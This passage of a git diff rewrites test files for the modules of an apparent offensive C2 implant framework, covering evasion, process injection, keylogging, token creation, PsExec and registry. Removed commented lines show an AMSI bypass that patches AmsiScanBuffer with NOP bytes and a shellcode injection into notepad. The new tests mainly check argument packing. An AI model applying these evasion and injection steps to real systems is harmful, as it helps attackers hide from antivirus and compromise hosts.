- // std::cout << "Non détecté" << std::endl; - - // std::vector splitedCmd; - // splitedCmd.push_back("evasion"); - // splitedCmd.push_back("AmsiBypass"); - - // C2Message c2Message; - // C2Message c2RetMessage; - // evasion->init(splitedCmd, c2Message); - // evasion->process(c2Message, c2RetMessage); - - // hResult = AmsiScanBuffer(amsi_context, &content, content_size, content_name, amsi_session, &amsi_result); - // // hResult = AmsiScanString(amsi_context, content, content_name, amsi_session, &amsi_result); - - // // Verify Scan Result - // std::cout << "hResult : " << (long)hResult << std::endl; - // std::cout << "AMSI RESULT : " << amsi_result << std::endl; - // if (amsi_result == AMSI_RESULT_DETECTED) - // std::cout << "Détecté comme malveillant" << std::endl; - // else - // std::cout << "Non détecté" << std::endl; - - // std::string output = "\n\noutput:\n"; - // output += c2RetMessage.returnvalue(); - // output += "\n"; - // std::cout << output << std::endl; - // } - // { - // std::vector splitedCmd; - // splitedCmd.push_back("evasion"); - // splitedCmd.push_back("Introspection"); - - // C2Message c2Message; - // C2Message c2RetMessage; - // evasion->init(splitedCmd, c2Message); - // evasion->process(c2Message, c2RetMessage); - - // std::string output = "\n\noutput:\n"; - // output += c2RetMessage.returnvalue(); - // output += "\n"; - // std::cout << output << std::endl; - // } - // { - // std::vector splitedCmd; - // splitedCmd.push_back("evasion"); - // splitedCmd.push_back("Introspection"); - // splitedCmd.push_back("amsi.dll"); - - // C2Message c2Message; - // C2Message c2RetMessage; - // evasion->init(splitedCmd, c2Message); - // evasion->process(c2Message, c2RetMessage); - - // std::string output = "\n\noutput:\n"; - // output += c2RetMessage.returnvalue(); - // output += "\n"; - // std::cout << output << std::endl; - // } - // { - // BYTE* baseAddress = (BYTE*)GetProcAddress(GetModuleHandle("amsi.dll"), "AmsiScanBuffer"); - - // std::stringstream ss; - // ss << "0x" << std::hex << std::setw(8) << std::setfill('0') << reinterpret_cast(baseAddress); - // std::string hexString = ss.str(); - // std::cout << "Base address in hex: " << hexString << std::endl; - - // std::vector splitedCmd; - // splitedCmd.push_back("evasion"); - // splitedCmd.push_back("ReadMemory"); - // splitedCmd.push_back(hexString); - // splitedCmd.push_back("20"); - - // C2Message c2Message; - // C2Message c2RetMessage; - // evasion->init(splitedCmd, c2Message); - // evasion->process(c2Message, c2RetMessage); - - // std::string output = "\n\noutput:\n"; - // output += c2RetMessage.returnvalue(); - // output += "\n"; - // std::cout << output << std::endl; - // } - // { - // void * baseAddress = (BYTE*)GetProcAddress(GetModuleHandle("amsi.dll"), "AmsiScanBuffer"); - - // std::stringstream ss; - // ss << "0x" << std::hex << std::setw(8) << std::setfill('0') << reinterpret_cast(baseAddress); - // std::string hexString = ss.str(); - // std::cout << "Base address in hex: " << hexString << std::endl; - - // std::vector splitedCmd; - // splitedCmd.push_back("evasion"); - // splitedCmd.push_back("PatchMemory"); - // splitedCmd.push_back(hexString); - // splitedCmd.push_back("\\x90\\x90\\x90\\x90"); - - // C2Message c2Message; - // C2Message c2RetMessage; - // evasion->init(splitedCmd, c2Message); - // evasion->process(c2Message, c2RetMessage); - - // std::string output = "\n\noutput:\n"; - // output += c2RetMessage.returnvalue(); - // output += "\n"; - // std::cout << output << std::endl; - // } - // { - // BYTE* baseAddress = (BYTE*)GetProcAddress(GetModuleHandle("amsi.dll"), "AmsiScanBuffer"); - - // std::stringstream ss; - // ss << "0x" << std::hex << std::setw(8) << std::setfill('0') << reinterpret_cast(baseAddress); - // std::string hexString = ss.str(); - // std::cout << "Base address in hex: " << hexString << std::endl; - - // std::vector splitedCmd; - // splitedCmd.push_back("evasion"); - // splitedCmd.push_back("ReadMemory"); - // splitedCmd.push_back(hexString); - // splitedCmd.push_back("20"); - - // C2Message c2Message; - // C2Message c2RetMessage; - // evasion->init(splitedCmd, c2Message); - // evasion->process(c2Message, c2RetMessage); - - // std::string output = "\n\noutput:\n"; - // output += c2RetMessage.returnvalue(); - // output += "\n"; - // std::cout << output << std::endl; - // } { - std::vector splitedCmd; - splitedCmd.push_back("evasion"); - splitedCmd.push_back("RemotePatch"); + Evasion module; + std::vector cmd = {"evasion", "CheckHooks"}; + C2Message message; - C2Message c2Message; - C2Message c2RetMessage; - evasion->init(splitedCmd, c2Message); - evasion->process(c2Message, c2RetMessage); - - std::string output = "\n\noutput:\n"; - output += c2RetMessage.returnvalue(); - output += "\n"; - std::cout << output << std::endl; + ok &= expect(module.init(cmd, message) == 0, "CheckHooks should be accepted"); + ok &= expect(message.instruction() == "evasion", "instruction should be set"); + ok &= expect(message.cmd() == "1", "CheckHooks command id should be packed"); } -#endif - return true; -} \ No newline at end of file + { + Evasion module; + std::vector cmd = {"evasion", "ReadMemory", "0x1234", "16"}; + C2Message message; + + ok &= expect(module.init(cmd, message) == 0, "ReadMemory should accept address and size"); + ok &= expect(message.cmd() == "7", "ReadMemory command id should be packed"); + ok &= expect(message.data() == "0x1234", "ReadMemory address should be packed"); + ok &= expect(message.args() == "16", "ReadMemory size should be packed"); + } + + { + Evasion module; + std::vector cmd = {"evasion", "ReadMemory", "0x1234"}; + C2Message message; + + ok &= expect(module.init(cmd, message) == -1, "ReadMemory should reject missing size"); + } + + return ok ? 0 : 1; +} diff --git a/modules/Inject/tests/testsInject.cpp b/modules/Inject/tests/testsInject.cpp index 4ea464d..8d93e42 100644 --- a/modules/Inject/tests/testsInject.cpp +++ b/modules/Inject/tests/testsInject.cpp @@ -1,62 +1,47 @@ #include "../Inject.hpp" -#include "../../ModuleCmd/Tools.hpp" +#include "../../tests/TestHelpers.hpp" -#ifdef __linux__ -#elif _WIN32 -#include -#endif +#include +#include +#include -bool testInject(); +using namespace test_helpers; int main() { - bool res; - - std::cout << "[+] testInject" << std::endl; - res = testInject(); - if(res) - std::cout << "[+] Sucess" << std::endl; - else - std::cout << "[-] Failed" << std::endl; - - return 0; -} - -bool testInject() -{ - std::unique_ptr inject = std::make_unique(); - std::string shellCodeFile; + bool ok = true; { -#ifdef _WIN32 - shellCodeFile="C:\\Windows\\System32\\calc.exe"; + Inject module; + std::vector cmd = {"inject", "-r", "missing.bin", "1234"}; + C2Message message; - int pid = launchProcess("C:\\Windows\\System32\\notepad.exe"); - std::cout << "notepad pid " << pid << std::endl; - - std::vector splitedCmd; - splitedCmd.push_back("inject"); - splitedCmd.push_back("-e"); - splitedCmd.push_back(shellCodeFile); - splitedCmd.push_back(std::to_string(pid)); - - C2Message c2Message; - C2Message c2RetMessage; - inject->init(splitedCmd, c2Message); - inject->process(c2Message, c2RetMessage); - - std::string output = "\n\noutput:\n"; - output += c2RetMessage.returnvalue(); - output += "\n"; - std::cout << output << std::endl; - - HANDLE hProc = OpenProcess(PROCESS_TERMINATE, FALSE, pid); - if (hProc) { - TerminateProcess(hProc, 0); - CloseHandle(hProc); - } -#endif + ok &= expect(module.init(cmd, message) == -1, "missing raw shellcode file should be rejected"); + ok &= expect(message.returnvalue().find("Couldn't open file") != std::string::npos, "missing file error should mention open failure"); } - return true; + { + Inject module; + std::vector cmd = {"inject", "-r", "payload.bin", "not-a-pid"}; + C2Message message; + + ok &= expect(module.init(cmd, message) == -1, "non-numeric pid should be rejected"); + ok &= expect(message.returnvalue().find("Pid must be an integer") != std::string::npos, "pid error should explain the failure"); + } + + { + const auto raw = writeTempFile("c2core_inject_raw.bin", "raw-bytes"); + Inject module; + std::vector cmd = {"inject", "-r", raw.string(), "-1"}; + C2Message message; + + ok &= expect(module.init(cmd, message) == 0, "existing raw shellcode file should be accepted"); + ok &= expect(message.instruction() == "inject", "instruction should be set"); + ok &= expect(message.pid() == -1, "pid should be packed"); + ok &= expect(message.inputfile() == raw.string(), "input file should be packed"); + ok &= expect(message.data() == "raw-bytes", "raw bytes should be packed"); + std::filesystem::remove(raw); + } + + return ok ? 0 : 1; } diff --git a/modules/KerberosUseTicket/tests/testsKerberosUseTicket.cpp b/modules/KerberosUseTicket/tests/testsKerberosUseTicket.cpp index 9e5ad97..65092cf 100644 --- a/modules/KerberosUseTicket/tests/testsKerberosUseTicket.cpp +++ b/modules/KerberosUseTicket/tests/testsKerberosUseTicket.cpp @@ -1,32 +1,45 @@ #include "../KerberosUseTicket.hpp" +#include "../../tests/TestHelpers.hpp" -#ifdef __linux__ -#elif _WIN32 -#include -#endif +#include +#include +#include -bool testKerberosUseTicket(); +using namespace test_helpers; int main() { - bool res; + bool ok = true; - std::cout << "[+] testKerberosUseTicket" << std::endl; - res = testKerberosUseTicket(); - if (res) - std::cout << "[+] Sucess" << std::endl; - else - std::cout << "[-] Failed" << std::endl; + { + KerberosUseTicket module; + std::vector cmd = {"kerberosUseTicket"}; + C2Message message; - return 0; + ok &= expect(module.init(cmd, message) == -1, "missing ticket file should be rejected"); + } + + { + KerberosUseTicket module; + std::vector cmd = {"kerberosUseTicket", "missing.kirbi"}; + C2Message message; + + ok &= expect(module.init(cmd, message) == -1, "nonexistent ticket file should be rejected"); + ok &= expect(message.returnvalue().find("Couldn't open file") != std::string::npos, "nonexistent ticket error should mention open failure"); + } + + { + const auto ticket = writeTempFile("c2core_ticket.kirbi", "ticket-bytes"); + KerberosUseTicket module; + std::vector cmd = {"kerberosUseTicket", ticket.string()}; + C2Message message; + + ok &= expect(module.init(cmd, message) == 0, "existing ticket file should be accepted"); + ok &= expect(message.instruction() == "kerberosUseTicket", "instruction should be set"); + ok &= expect(message.inputfile() == ticket.string(), "input file should be packed"); + ok &= expect(message.data() == "ticket-bytes", "ticket bytes should be packed"); + std::filesystem::remove(ticket); + } + + return ok ? 0 : 1; } - - -bool testKerberosUseTicket() -{ - // std::unique_ptr KerberosUseTicket = std::make_unique(); - // { - // } - - return false; -} \ No newline at end of file diff --git a/modules/KeyLogger/tests/testsKeyLogger.cpp b/modules/KeyLogger/tests/testsKeyLogger.cpp index 810f836..de30865 100644 --- a/modules/KeyLogger/tests/testsKeyLogger.cpp +++ b/modules/KeyLogger/tests/testsKeyLogger.cpp @@ -1,55 +1,44 @@ #include "../KeyLogger.hpp" +#include "../../tests/TestHelpers.hpp" -#ifdef __linux__ -#elif _WIN32 -#include -#endif +#include +#include -#include -#include - - -bool testKeyLogger(); +using namespace test_helpers; int main() { - bool res; + bool ok = true; - std::cout << "[+] testKeyLogger" << std::endl; - res = testKeyLogger(); - if (res) - std::cout << "[+] Sucess" << std::endl; - else - std::cout << "[-] Failed" << std::endl; - - return 0; -} - -bool testKeyLogger() -{ - - std::unique_ptr keyLogger = std::make_unique(); { - C2Message c2Message; - c2Message.set_instruction("keyLogger"); - c2Message.set_args("start"); + KeyLogger module; + std::vector cmd = {"keyLogger", "start"}; + C2Message message; - C2Message c2RetMessage; - keyLogger->process(c2Message, c2RetMessage); - - std::this_thread::sleep_for (std::chrono::seconds(2)); - - keyLogger->recurringExec(c2RetMessage) ; - keyLogger->followUp(c2RetMessage); - - std::vector splitedCmd; - splitedCmd.push_back("keyLogger"); - splitedCmd.push_back("get"); - C2Message c2MessageFinal; - keyLogger->init(splitedCmd, c2MessageFinal); - - std::cout << "Result:\n" << c2MessageFinal.returnvalue() << std::endl; + ok &= expect(module.init(cmd, message) == 0, "start should be accepted"); + ok &= expect(message.instruction() == "keyLogger", "instruction should be set"); + ok &= expect(message.args() == "start", "start action should be packed"); } - return true; + { + KeyLogger module; + C2Message follow; + follow.set_data("abc"); + module.followUp(follow); + + std::vector cmd = {"keyLogger", "dump"}; + C2Message message; + ok &= expect(module.init(cmd, message) == -1, "dump should be handled locally"); + ok &= expect(message.returnvalue().find("abc") != std::string::npos, "dump should expose buffered keys"); + } + + { + KeyLogger module; + std::vector cmd = {"keyLogger", "invalid"}; + C2Message message; + + ok &= expect(module.init(cmd, message) == -1, "unknown keylogger action should be rejected"); + } + + return ok ? 0 : 1; } diff --git a/modules/ListProcesses/tests/testsListProcesses.cpp b/modules/ListProcesses/tests/testsListProcesses.cpp index ac53929..870fab5 100644 --- a/modules/ListProcesses/tests/testsListProcesses.cpp +++ b/modules/ListProcesses/tests/testsListProcesses.cpp @@ -1,43 +1,24 @@ #include "../ListProcesses.hpp" +#include "../../tests/TestHelpers.hpp" -#ifdef __linux__ -#elif _WIN32 -#include -#endif +#include +#include -bool testListProcesses(); +using namespace test_helpers; int main() { - bool res; + bool ok = true; - std::cout << "[+] testListProcesses" << std::endl; - res = testListProcesses(); - if (res) - std::cout << "[+] Sucess" << std::endl; - else - std::cout << "[-] Failed" << std::endl; + ListProcesses module; + std::vector cmd = {"ps"}; + C2Message message; + C2Message ret; - return 0; -} - -bool testListProcesses() -{ - std::unique_ptr listProcesses = std::make_unique(); - { - std::vector splitedCmd; - splitedCmd.push_back("ps"); - - C2Message c2Message; - C2Message c2RetMessage; - listProcesses->init(splitedCmd, c2Message); - listProcesses->process(c2Message, c2RetMessage); - - std::string output = "\n\noutput:\n"; - output += c2RetMessage.returnvalue(); - output += "\n"; - std::cout << output << std::endl; - } - - return true; + ok &= expect(module.init(cmd, message) == 0, "init should accept process listing command"); + ok &= expect(message.instruction() == "ps", "instruction should be set"); + module.process(message, ret); + ok &= expect(!ret.returnvalue().empty(), "process listing should produce output"); + + return ok ? 0 : 1; } diff --git a/modules/MakeToken/tests/testsMakeToken.cpp b/modules/MakeToken/tests/testsMakeToken.cpp index 570fc67..47886a5 100644 --- a/modules/MakeToken/tests/testsMakeToken.cpp +++ b/modules/MakeToken/tests/testsMakeToken.cpp @@ -1,93 +1,50 @@ #include "../MakeToken.hpp" +#include "../../tests/TestHelpers.hpp" -#ifdef __linux__ -#elif _WIN32 -#include -#endif +#include +#include -bool testMakeToken(); +using namespace test_helpers; int main() { - bool res; + bool ok = true; - std::cout << "[+] testMakeToken" << std::endl; - res = testMakeToken(); - if(res) - std::cout << "[+] Sucess" << std::endl; - else - std::cout << "[-] Failed" << std::endl; + { + MakeToken module; + std::vector cmd = {"makeToken", "DOMAIN\\alice", "secret"}; + C2Message message; - return 0; -} - - -bool testMakeToken() -{ - std::unique_ptr makeToken = std::make_unique(); - { - std::vector splitedCmd; - splitedCmd.push_back("makeToken"); - splitedCmd.push_back("MARVEL\\Administrator"); - splitedCmd.push_back("P@$$w0rd!"); - - C2Message c2Message; - C2Message c2RetMessage; - makeToken->init(splitedCmd, c2Message); - makeToken->process(c2Message, c2RetMessage); - - std::string output = "\n\noutput:\n"; - output += c2RetMessage.returnvalue(); - output += "\n"; - std::cout << output << std::endl; - } - { - std::vector splitedCmd; - splitedCmd.push_back("makeToken"); - splitedCmd.push_back("toto"); - splitedCmd.push_back("password"); - - C2Message c2Message; - C2Message c2RetMessage; - makeToken->init(splitedCmd, c2Message); - makeToken->process(c2Message, c2RetMessage); - - std::string output = "\n\noutput:\n"; - output += c2RetMessage.returnvalue(); - output += "\n"; - std::cout << output << std::endl; - } - { - std::vector splitedCmd; - splitedCmd.push_back("makeToken"); - splitedCmd.push_back("DEV\\"); - splitedCmd.push_back("password"); - - C2Message c2Message; - C2Message c2RetMessage; - makeToken->init(splitedCmd, c2Message); - makeToken->process(c2Message, c2RetMessage); - - std::string output = "\n\noutput:\n"; - output += c2RetMessage.returnvalue(); - output += "\n"; - std::cout << output << std::endl; - } - { - std::vector splitedCmd; - splitedCmd.push_back("makeToken"); - splitedCmd.push_back("DEV\\toto"); - - C2Message c2Message; - C2Message c2RetMessage; - makeToken->init(splitedCmd, c2Message); - makeToken->process(c2Message, c2RetMessage); - - std::string output = "\n\noutput:\n"; - output += c2RetMessage.returnvalue(); - output += "\n"; - std::cout << output << std::endl; - } - - return true; + ok &= expect(module.init(cmd, message) == 0, "domain credential form should be accepted"); + ok &= expect(message.instruction() == "makeToken", "instruction should be set"); + ok &= expect(message.cmd() == "DOMAIN;alice;secret", "domain credential should be packed"); + } + + { + MakeToken module; + std::vector cmd = {"makeToken", "alice", "secret"}; + C2Message message; + + ok &= expect(module.init(cmd, message) == 0, "local credential form should be accepted"); + ok &= expect(message.cmd() == ".;alice;secret", "local credential should default to dot domain"); + } + + { + MakeToken module; + std::vector cmd = {"makeToken", "alice"}; + C2Message message; + + ok &= expect(module.init(cmd, message) == -1, "missing password should be rejected"); + } + + { + MakeToken module; + C2Message message; + C2Message ret; + message.set_cmd("broken"); + module.process(message, ret); + ok &= expect(ret.errorCode() == 1, "invalid packed credential should set an error"); + } + + return ok ? 0 : 1; } diff --git a/modules/ModuleCmd/tests/testsSyscall.cpp b/modules/ModuleCmd/tests/testsSyscall.cpp index 7b8e6e1..c0bd161 100644 --- a/modules/ModuleCmd/tests/testsSyscall.cpp +++ b/modules/ModuleCmd/tests/testsSyscall.cpp @@ -190,7 +190,9 @@ int main() } std::wstring filePath = tempPath; - filePath += L"ntwrite_example.txt"; + filePath += L"ntwrite_example_"; + filePath += std::to_wstring(GetCurrentProcessId()); + filePath += L".txt"; HANDLE hFile = CreateFileW( filePath.c_str(), diff --git a/modules/PsExec/tests/testsPsExec.cpp b/modules/PsExec/tests/testsPsExec.cpp index 7856416..1137424 100644 --- a/modules/PsExec/tests/testsPsExec.cpp +++ b/modules/PsExec/tests/testsPsExec.cpp @@ -1,108 +1,45 @@ #include "../PsExec.hpp" +#include "../../tests/TestHelpers.hpp" -#ifdef __linux__ -#elif _WIN32 -#include -#endif +#include +#include +#include -bool testPsExec(); +using namespace test_helpers; int main() { - bool res; + bool ok = true; - std::cout << "[+] testPsExec" << std::endl; - res = testPsExec(); - if (res) - std::cout << "[+] Sucess" << std::endl; - else - std::cout << "[-] Failed" << std::endl; + { + const auto service = writeTempFile("c2core_service.exe", "service-bytes"); + PsExec module; + std::vector cmd = {"psExec", "-u", "DOMAIN\\alice", "secret", "server01", service.string()}; + C2Message message; - return 0; + ok &= expect(module.init(cmd, message) == 0, "credential PsExec form should be accepted"); + ok &= expect(message.instruction() == "psExec", "instruction should be set"); + const auto fields = splitPackedFields(message.cmd()); + ok &= expect(fields.size() == 4, "packed PsExec credential parameters should contain four fields"); + if (fields.size() == 4) + { + ok &= expect(fields[0] == "DOMAIN", "domain should be packed"); + ok &= expect(fields[1] == "alice", "username should be packed"); + ok &= expect(fields[2] == "secret", "password should be packed"); + ok &= expect(fields[3] == "server01", "target should be packed"); + } + ok &= expect(message.data() == "service-bytes", "service bytes should be packed"); + std::filesystem::remove(service); + } + + { + PsExec module; + std::vector cmd = {"psExec", "-n", "server01", "missing.exe"}; + C2Message message; + + ok &= expect(module.init(cmd, message) == -1, "missing service file should be rejected"); + ok &= expect(message.returnvalue().find("Couldn't open file") != std::string::npos, "missing service file should explain the error"); + } + + return ok ? 0 : 1; } - - -bool testPsExec() -{ - std::unique_ptr module = std::make_unique(); - { - std::vector splitedCmd; - splitedCmd.push_back("psExec"); - splitedCmd.push_back("-n"); - splitedCmd.push_back("127.0.0.1"); - splitedCmd.push_back(".\\TestService.exe"); - - C2Message c2Message; - C2Message ret; - module->init(splitedCmd, c2Message); - module->process(c2Message, ret); - - std::string err; - module->errorCodeToMsg(ret, err); - - std::cout << ret.returnvalue() << std::endl; - std::cerr << err << std::endl; - } - { - std::vector splitedCmd; - splitedCmd.push_back("psExec"); - splitedCmd.push_back("-u"); - splitedCmd.push_back("root"); - splitedCmd.push_back("root"); - splitedCmd.push_back("127.0.0.1"); - splitedCmd.push_back(".\\TestService.exe"); - - C2Message c2Message; - C2Message ret; - module->init(splitedCmd, c2Message); - module->process(c2Message, ret); - - std::string err; - module->errorCodeToMsg(ret, err); - - std::cout << ret.returnvalue() << std::endl; - std::cerr << err << std::endl; - } - { - std::vector splitedCmd; - splitedCmd.push_back("psExec"); - splitedCmd.push_back("-u"); - splitedCmd.push_back("root"); - splitedCmd.push_back("toor"); - splitedCmd.push_back("127.0.0.1"); - splitedCmd.push_back(".\\TestService.exe"); - - C2Message c2Message; - C2Message ret; - module->init(splitedCmd, c2Message); - module->process(c2Message, ret); - - std::string err; - module->errorCodeToMsg(ret, err); - - std::cout << ret.returnvalue() << std::endl; - std::cerr << err << std::endl; - } - { - std::vector splitedCmd; - splitedCmd.push_back("psExec"); - splitedCmd.push_back("-n"); - splitedCmd.push_back("127.0.0.1"); - splitedCmd.push_back("c:\\windows\\system32\\notepad.exe"); - - C2Message c2Message; - C2Message ret; - module->init(splitedCmd, c2Message); - module->process(c2Message, ret); - - std::string err; - module->errorCodeToMsg(ret, err); - - std::cout << ret.returnvalue() << std::endl; - std::cerr << err << std::endl; - } - - - - return true; -} \ No newline at end of file diff --git a/modules/Registry/tests/testsRegistry.cpp b/modules/Registry/tests/testsRegistry.cpp index 48d343e..ad9d3f9 100644 --- a/modules/Registry/tests/testsRegistry.cpp +++ b/modules/Registry/tests/testsRegistry.cpp @@ -1,32 +1,64 @@ #include "../Registry.hpp" +#include "../../tests/TestHelpers.hpp" #include -#include #include +using namespace test_helpers; + int main() { + bool ok = true; + { - std::unique_ptr module = std::make_unique(); - std::vector cmd = {"registry", "set", "-h", "HKLM", "-k", "Software\\Acme", "-n", "Path", "-d", "C:/Temp"}; - + Registry module; + std::vector cmd = {"registry", "set", "-h", "HKCU", "-k", "Software\\C2CoreTest", "-n", "Path", "-d", "C:/Temp", "-t", "REG_SZ"}; C2Message message; - C2Message ret; - if (module->init(cmd, message) != 0) + ok &= expect(module.init(cmd, message) == 0, "registry set should be accepted"); + ok &= expect(message.instruction() == "registry", "instruction should be set"); + ok &= expect(!message.cmd().empty(), "registry parameters should be packed"); + const std::string packedFields = message.cmd().substr(1); + const auto fields = splitPackedFields(packedFields); + ok &= expect(fields.size() == 6, "packed registry parameters should contain six string fields"); + if (fields.size() == 6) { - return 1; + ok &= expect(fields[1] == "HKCU", "hive should be packed"); + ok &= expect(fields[2] == "Software\\C2CoreTest", "subkey should be packed"); + ok &= expect(fields[3] == "Path", "value name should be packed"); + ok &= expect(fields[4] == "C:/Temp", "value data should be packed"); + ok &= expect(fields[5] == "REG_SZ", "value type should be packed"); } - - module->process(message, ret); - - std::string err; - module->errorCodeToMsg(ret, err); - - std::cout << ret.returnvalue() << std::endl; - std::cerr << err << std::endl; } + { + Registry module; + std::vector cmd = {"registry", "query", "-h", "HKCU", "-k", "Software\\C2CoreTest"}; + C2Message message; - return 0; + ok &= expect(module.init(cmd, message) == -1, "query without value name should be rejected"); + ok &= expect(!message.returnvalue().empty(), "query without value name should explain the error"); + } + + { + Registry module; + std::vector cmd = {"registry", "unknown"}; + C2Message message; + + ok &= expect(module.init(cmd, message) == -1, "unknown operation should be rejected"); + ok &= expect(!message.returnvalue().empty(), "unknown operation should explain the error"); + } + + { + Registry module; + C2Message ret; + ret.set_errorCode(3); + ret.set_returnvalue("open failed"); + std::string error; + + ok &= expect(module.errorCodeToMsg(ret, error) == 0, "errorCodeToMsg should return success"); + ok &= expect(error == "open failed", "errorCodeToMsg should expose process error text"); + } + + return ok ? 0 : 1; } diff --git a/modules/Rev2self/tests/testsRev2self.cpp b/modules/Rev2self/tests/testsRev2self.cpp index 9679ae4..d6e9877 100644 --- a/modules/Rev2self/tests/testsRev2self.cpp +++ b/modules/Rev2self/tests/testsRev2self.cpp @@ -1,43 +1,21 @@ #include "../Rev2self.hpp" +#include "../../tests/TestHelpers.hpp" -#ifdef __linux__ -#elif _WIN32 -#include -#endif +#include +#include -bool testRev2self(); +using namespace test_helpers; int main() { - bool res; + Rev2self module; + std::vector cmd = {"rev2self"}; + C2Message message; - std::cout << "[+] testRev2self" << std::endl; - res = testRev2self(); - if (res) - std::cout << "[+] Sucess" << std::endl; - else - std::cout << "[-] Failed" << std::endl; + bool ok = true; + ok &= expect(module.init(cmd, message) == 0, "init should accept rev2self command"); + ok &= expect(message.instruction() == "rev2self", "instruction should be set"); + ok &= expect(message.cmd().empty(), "rev2self should pack an empty command"); - return 0; -} - -bool testRev2self() -{ - std::unique_ptr rev2self = std::make_unique(); - { - std::vector splitedCmd; - splitedCmd.push_back("rev2self"); - - C2Message c2Message; - C2Message c2RetMessage; - rev2self->init(splitedCmd, c2Message); - rev2self->process(c2Message, c2RetMessage); - - std::string output = "\n\noutput:\n"; - output += c2RetMessage.returnvalue(); - output += "\n"; - std::cout << output << std::endl; - } - - return true; + return ok ? 0 : 1; } diff --git a/modules/Run/tests/testsRun.cpp b/modules/Run/tests/testsRun.cpp index d31f131..9fdd291 100644 --- a/modules/Run/tests/testsRun.cpp +++ b/modules/Run/tests/testsRun.cpp @@ -20,7 +20,7 @@ int main() else std::cout << "[-] Failed" << std::endl; - return 0; + return !res; } bool testRun() @@ -30,32 +30,50 @@ bool testRun() // ----- simple echo ----- { +#ifdef _WIN32 + std::vector cmd = {"run", "cmd.exe", "/c", "echo", "hello"}; + const std::string shellCmd = "cmd.exe /c echo hello"; +#else std::vector cmd = {"run", "echo", "hello"}; + const std::string shellCmd = "echo hello"; +#endif C2Message msg, ret; run->init(cmd, msg); - msg.set_cmd("echo hello"); + msg.set_cmd(shellCmd); run->process(msg, ret); ok &= ret.returnvalue().find("hello") != std::string::npos; } // ----- command with spaces (split tokens) ----- { +#ifdef _WIN32 + std::vector cmd = {"run", "cmd.exe", "/c", "echo", "hello", "world"}; + const std::string shellCmd = "cmd.exe /c echo hello world"; +#else std::vector cmd = {"run", "echo", "hello", "world"}; + const std::string shellCmd = "echo hello world"; +#endif C2Message msg, ret; run->init(cmd, msg); - msg.set_cmd("echo hello world"); + msg.set_cmd(shellCmd); run->process(msg, ret); ok &= ret.returnvalue().find("hello world") != std::string::npos; } // ----- invalid command should return error text ----- { +#ifdef _WIN32 + std::vector cmd = {"run", "cmd.exe", "/c", "nonexistent_command_foo"}; + const std::string shellCmd = "cmd.exe /c nonexistent_command_foo"; +#else std::vector cmd = {"run", "nonexistent_command_foo"}; + const std::string shellCmd = "nonexistent_command_foo"; +#endif C2Message msg, ret; run->init(cmd, msg); - msg.set_cmd("nonexistent_command_foo"); + msg.set_cmd(shellCmd); run->process(msg, ret); - ok &= ret.returnvalue().empty(); + ok &= !ret.returnvalue().empty(); } // ----- missing argument ----- diff --git a/modules/ScreenShot/tests/testsScreenShot.cpp b/modules/ScreenShot/tests/testsScreenShot.cpp index 0ce130f..195774d 100644 --- a/modules/ScreenShot/tests/testsScreenShot.cpp +++ b/modules/ScreenShot/tests/testsScreenShot.cpp @@ -1,48 +1,20 @@ #include "../ScreenShot.hpp" +#include "../../tests/TestHelpers.hpp" -#ifdef __linux__ -#elif _WIN32 -#include -#endif +#include +#include -bool testScreenShot(); +using namespace test_helpers; int main() { - bool res; + ScreenShot module; + std::vector cmd = {"screenShot"}; + C2Message message; - std::cout << "[+] testScreenShot" << std::endl; - res = testScreenShot(); - if (res) - std::cout << "[+] Sucess" << std::endl; - else - std::cout << "[-] Failed" << std::endl; + bool ok = true; + ok &= expect(module.init(cmd, message) == 0, "init should accept screenshot command"); + ok &= expect(message.instruction() == "screenShot", "instruction should be set"); - return 0; -} - -bool testScreenShot() -{ - std::ofstream outfile("test1.txt"); - outfile << "testScreenShot" << std::endl; - outfile.close(); - - std::unique_ptr screenShot = std::make_unique(); - { - std::vector splitedCmd; - splitedCmd.push_back("screenShot"); - - C2Message c2Message; - C2Message c2RetMessage; - screenShot->init(splitedCmd, c2Message); - screenShot->process(c2Message, c2RetMessage); - - std::string output = "\n\noutput:\n"; - output += c2RetMessage.returnvalue(); - output += "\n"; - std::cout << output << std::endl; - } - - - return true; + return ok ? 0 : 1; } diff --git a/modules/Script/tests/testsScript.cpp b/modules/Script/tests/testsScript.cpp index ed63209..f0cec34 100644 --- a/modules/Script/tests/testsScript.cpp +++ b/modules/Script/tests/testsScript.cpp @@ -1,66 +1,45 @@ #include "../Script.hpp" +#include "../../tests/TestHelpers.hpp" -#ifdef __linux__ -#elif _WIN32 -#include -#endif +#include +#include +#include -bool testScript(); +using namespace test_helpers; int main() { - bool res; - - std::cout << "[+] testScript" << std::endl; - res = testScript(); - if (res) - std::cout << "[+] Sucess" << std::endl; - else - std::cout << "[-] Failed" << std::endl; - - return 0; -} - -bool testScript() -{ - std::unique_ptr